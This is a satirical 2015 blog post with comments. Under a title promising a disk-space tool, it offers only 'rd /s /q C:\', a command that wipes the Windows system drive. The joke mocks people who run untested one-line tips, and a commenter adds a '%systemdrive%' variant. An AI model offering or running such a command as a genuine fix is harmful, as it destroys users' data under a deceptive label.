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Great Windows tool to reclaim hard drive space

Posted by jpluimers on 2015/10/25

rd /s /q C:\

Because some people like to try out things based on a one line recommendation.

–jeroen

This entry was posted on 2015/10/25 at 10:48 and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

6 Responses to “Great Windows tool to reclaim hard drive space”

  1. Rollo's avatar

    Rollo said

    2015/11/11 at 08:46

    See what happens !

    Rollo

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  2. Robert Fuchs's avatar

    Robert Fuchs said

    2015/10/28 at 21:09

    That’s badass ;-)
    Hint: rd /s /q %systemdrive%\ works everywhere!

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    • jpluimers's avatar

      jpluimers said

      2015/10/28 at 22:34

      haha.
      It was in response to some G+ post saying “here, try this, this really works”.
      After asking for more details, the answer was “why don’t you try this out”.
      Then I asked if he’d try out anything recommended and he told “yes” (:

      –jeroen

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  3. david's avatar

    david said

    2015/10/25 at 14:35

    haha, thiere’s even a npm package: https://www.npmjs.com/package/rimraf used by some other malware package that called it at pre-install clause with root parameter !

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